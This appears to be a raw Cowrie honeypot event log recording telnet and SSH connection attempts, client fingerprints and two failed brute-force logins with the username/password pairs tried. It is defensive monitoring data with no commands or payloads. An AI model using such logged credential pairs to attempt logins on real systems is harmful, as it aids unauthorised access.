{"eventid":"cowrie.session.closed","duration":31.685598611831665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:38.796043Z","src_ip":"74.208.239.44","session":"de0cf16e5432","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.455341815948486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:39.604262Z","src_ip":"74.208.239.44","session":"a211d302b647","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03404188156128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:39.608363Z","src_ip":"74.208.239.44","session":"f14707afd01c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51582,"dst_ip":"159.203.135.109","dst_port":23,"session":"35f9da4db8c4","protocol":"telnet","message":"New connection: 161.97.105.174:51582 (159.203.135.109:23) [session: 35f9da4db8c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:40.776947Z"}
{"eventid":"cowrie.session.closed","duration":33.985764265060425,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:41.925752Z","src_ip":"64.227.101.30","session":"a0a999390b8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":35706,"dst_ip":"159.203.135.109","dst_port":23,"session":"7734eef7c2e3","protocol":"telnet","message":"New connection: 68.183.198.12:35706 (159.203.135.109:23) [session: 7734eef7c2e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:43.777683Z"}
{"eventid":"cowrie.session.closed","duration":30.44251012802124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:44.027182Z","src_ip":"74.208.239.44","session":"d136dbd144a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":39132,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ad7d74f5a28","protocol":"telnet","message":"New connection: 74.208.239.44:39132 (159.203.135.109:23) [session: 2ad7d74f5a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:44.480195Z"}
{"eventid":"cowrie.session.closed","duration":38.108688831329346,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:44.642838Z","src_ip":"161.97.105.174","session":"a0472d0e242e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.90792775154114,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:47.066585Z","src_ip":"68.183.198.12","session":"35c60aec600c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.106621503829956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:48.035342Z","src_ip":"74.208.239.44","session":"375e519563fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":36176,"dst_ip":"159.203.135.109","dst_port":23,"session":"1537ffc2c7ef","protocol":"telnet","message":"New connection: 68.183.198.12:36176 (159.203.135.109:23) [session: 1537ffc2c7ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:48.147442Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":34278,"dst_ip":"159.203.135.109","dst_port":23,"session":"abe7ac6eac57","protocol":"telnet","message":"New connection: 161.97.105.174:34278 (159.203.135.109:23) [session: abe7ac6eac57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:49.192308Z"}
{"eventid":"cowrie.session.closed","duration":31.49788522720337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:49.872372Z","src_ip":"74.208.239.44","session":"6541d4db82e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":36244,"dst_ip":"159.203.135.109","dst_port":23,"session":"11bf1b8a0ed7","protocol":"telnet","message":"New connection: 68.183.198.12:36244 (159.203.135.109:23) [session: 11bf1b8a0ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:50.626299Z"}
{"eventid":"cowrie.session.closed","duration":30.61750864982605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:50.902386Z","src_ip":"74.208.239.44","session":"861af600e522","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.872593641281128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:50.989475Z","src_ip":"74.208.239.44","session":"0e3ab2ccd305","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.052908182144165,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:51.090889Z","src_ip":"64.227.101.30","session":"3db11f0fb64e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38086,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2fe9de76950","protocol":"telnet","message":"New connection: 64.227.101.30:38086 (10.17.0.5:23) [session: b2fe9de76950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:52.019160Z"}
{"eventid":"cowrie.session.closed","duration":0.005932807922363281,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:52.024997Z","src_ip":"64.227.101.30","session":"b2fe9de76950","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.88812708854675,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:52.612586Z","src_ip":"64.227.101.30","session":"b228a72962da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":34284,"dst_ip":"159.203.135.109","dst_port":23,"session":"fffcedcd2b58","protocol":"telnet","message":"New connection: 161.97.105.174:34284 (159.203.135.109:23) [session: fffcedcd2b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:54.311327Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51680,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a0c9fb5e6e4","protocol":"telnet","message":"New connection: 64.227.101.30:51680 (10.17.0.5:23) [session: 7a0c9fb5e6e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:56.468318Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51910,"dst_ip":"10.17.0.5","dst_port":23,"session":"44fe897614b0","protocol":"telnet","message":"New connection: 64.227.101.30:51910 (10.17.0.5:23) [session: 44fe897614b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:57.099246Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":34288,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba956cbeff45","protocol":"telnet","message":"New connection: 161.97.105.174:34288 (159.203.135.109:23) [session: ba956cbeff45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:57.189606Z"}
{"eventid":"cowrie.session.closed","duration":49.004042863845825,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:57.832108Z","src_ip":"64.227.101.30","session":"01e88cf6359c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":34294,"dst_ip":"159.203.135.109","dst_port":23,"session":"4535a99f4358","protocol":"telnet","message":"New connection: 161.97.105.174:34294 (159.203.135.109:23) [session: 4535a99f4358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:48:58.131393Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50286,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1ca5d49c1c6","protocol":"telnet","message":"New connection: 161.97.105.174:50286 (159.203.135.109:23) [session: d1ca5d49c1c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:00.967547Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":52898,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0c20323bbb3","protocol":"telnet","message":"New connection: 74.208.239.44:52898 (159.203.135.109:23) [session: c0c20323bbb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:01.320434Z"}
{"eventid":"cowrie.session.closed","duration":34.856106996536255,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:01.572489Z","src_ip":"64.227.101.30","session":"90bd790e0ecd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":55698,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c472595a1b6","protocol":"telnet","message":"New connection: 74.208.239.44:55698 (159.203.135.109:23) [session: 8c472595a1b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:04.732883Z"}
{"eventid":"cowrie.session.closed","duration":35.980477809906006,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:05.996542Z","src_ip":"64.227.101.30","session":"8f976becd566","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.38066911697388,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:06.296305Z","src_ip":"161.97.105.174","session":"58382458faae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45026,"dst_ip":"10.17.0.5","dst_port":23,"session":"c790c76d1c02","protocol":"telnet","message":"New connection: 64.227.101.30:45026 (10.17.0.5:23) [session: c790c76d1c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:06.587960Z"}
{"eventid":"cowrie.session.closed","duration":0.0065839290618896484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:06.594210Z","src_ip":"64.227.101.30","session":"c790c76d1c02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.30863666534424,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:06.773065Z","src_ip":"161.97.105.174","session":"41e268a3cad9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":60508,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fe4c1fb7b80","protocol":"ssh","message":"New connection: 193.32.162.145:60508 (10.17.0.5:22) [session: 5fe4c1fb7b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:07.194165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:07.198601Z","src_ip":"193.32.162.145","session":"5fe4c1fb7b80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:07.306706Z","src_ip":"193.32.162.145","session":"5fe4c1fb7b80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57536,"dst_ip":"10.17.0.5","dst_port":23,"session":"c507d9c21ccf","protocol":"telnet","message":"New connection: 64.227.101.30:57536 (10.17.0.5:23) [session: c507d9c21ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:07.319408Z"}
{"eventid":"cowrie.login.failed","username":"sollet","password":"sollet","message":"login attempt [sollet/sollet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:07.633378Z","src_ip":"193.32.162.145","session":"5fe4c1fb7b80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:08.748683Z","src_ip":"193.32.162.145","session":"5fe4c1fb7b80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57406,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4f1580cf973","protocol":"telnet","message":"New connection: 64.227.101.30:57406 (10.17.0.5:23) [session: b4f1580cf973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:11.075934Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":60130,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f77cbad95d6","protocol":"ssh","message":"New connection: 209.99.189.174:60130 (10.17.0.5:22) [session: 4f77cbad95d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:11.537703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:11.542853Z","src_ip":"209.99.189.174","session":"4f77cbad95d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.64940094947815,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:11.638240Z","src_ip":"64.227.101.30","session":"70c4caee0262","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:11.674133Z","src_ip":"209.99.189.174","session":"4f77cbad95d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"welc0me","message":"login attempt [deploy/welc0me] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:12.233063Z","src_ip":"209.99.189.174","session":"4f77cbad95d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60170,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f49ccbe5ca7","protocol":"telnet","message":"New connection: 64.227.101.30:60170 (10.17.0.5:23) [session: 5f49ccbe5ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:12.917485Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":39960,"dst_ip":"159.203.135.109","dst_port":23,"session":"556108c141ce","protocol":"telnet","message":"New connection: 68.183.198.12:39960 (159.203.135.109:23) [session: 556108c141ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:13.152334Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:13.368124Z","src_ip":"209.99.189.174","session":"4f77cbad95d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60496,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee62655cc9a4","protocol":"telnet","message":"New connection: 64.227.101.30:60496 (10.17.0.5:23) [session: ee62655cc9a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:13.578787Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59128,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d52ed8315a8","protocol":"telnet","message":"New connection: 64.227.101.30:59128 (10.17.0.5:23) [session: 5d52ed8315a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:13.839185Z"}
{"eventid":"cowrie.session.closed","duration":33.96390700340271,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:14.740752Z","src_ip":"161.97.105.174","session":"35f9da4db8c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40166401863098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:15.881724Z","src_ip":"74.208.239.44","session":"2ad7d74f5a28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.45875835418701,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:16.585227Z","src_ip":"68.183.198.12","session":"79aa0bf3c091","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33432,"dst_ip":"10.17.0.5","dst_port":23,"session":"27979e1792fb","protocol":"telnet","message":"New connection: 64.227.101.30:33432 (10.17.0.5:23) [session: 27979e1792fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:17.015908Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35226,"dst_ip":"159.203.135.109","dst_port":23,"session":"14c45bc02b56","protocol":"telnet","message":"New connection: 161.97.105.174:35226 (159.203.135.109:23) [session: 14c45bc02b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:19.248960Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35734,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0c687244c59","protocol":"telnet","message":"New connection: 64.227.101.30:35734 (10.17.0.5:23) [session: f0c687244c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:21.519655Z"}
{"eventid":"cowrie.session.closed","duration":35.01274394989014,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:24.204891Z","src_ip":"161.97.105.174","session":"abe7ac6eac57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":35238,"dst_ip":"159.203.135.109","dst_port":23,"session":"46adf49fe21f","protocol":"telnet","message":"New connection: 161.97.105.174:35238 (159.203.135.109:23) [session: 46adf49fe21f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:27.296000Z"}
{"eventid":"cowrie.session.closed","duration":33.43389296531677,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:27.745095Z","src_ip":"161.97.105.174","session":"fffcedcd2b58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.613198041915894,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:29.802705Z","src_ip":"161.97.105.174","session":"ba956cbeff45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.851234674453735,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:30.998544Z","src_ip":"68.183.198.12","session":"1537ffc2c7ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40284,"dst_ip":"10.17.0.5","dst_port":23,"session":"d62fd9bcc7fc","protocol":"telnet","message":"New connection: 64.227.101.30:40284 (10.17.0.5:23) [session: d62fd9bcc7fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:31.228545Z"}
{"eventid":"cowrie.session.closed","duration":33.273152589797974,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:31.404414Z","src_ip":"161.97.105.174","session":"4535a99f4358","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.216838121414185,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:31.994387Z","src_ip":"68.183.198.12","session":"7734eef7c2e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41858,"dst_ip":"10.17.0.5","dst_port":23,"session":"5caa1a453ac1","protocol":"telnet","message":"New connection: 64.227.101.30:41858 (10.17.0.5:23) [session: 5caa1a453ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:32.014551Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39766,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7d8a1d8e317","protocol":"telnet","message":"New connection: 64.227.101.30:39766 (10.17.0.5:23) [session: b7d8a1d8e317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:32.284819Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":58950,"dst_ip":"159.203.135.109","dst_port":23,"session":"85119a24b86e","protocol":"telnet","message":"New connection: 161.97.105.174:58950 (159.203.135.109:23) [session: 85119a24b86e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:32.369140Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":5476,"dst_ip":"159.203.135.109","dst_port":22,"session":"18743b27cd72","protocol":"ssh","message":"New connection: 220.247.224.226:5476 (159.203.135.109:22) [session: 18743b27cd72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:32.520763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:49:32.525190Z","src_ip":"220.247.224.226","session":"18743b27cd72","protocol":"ssh"}
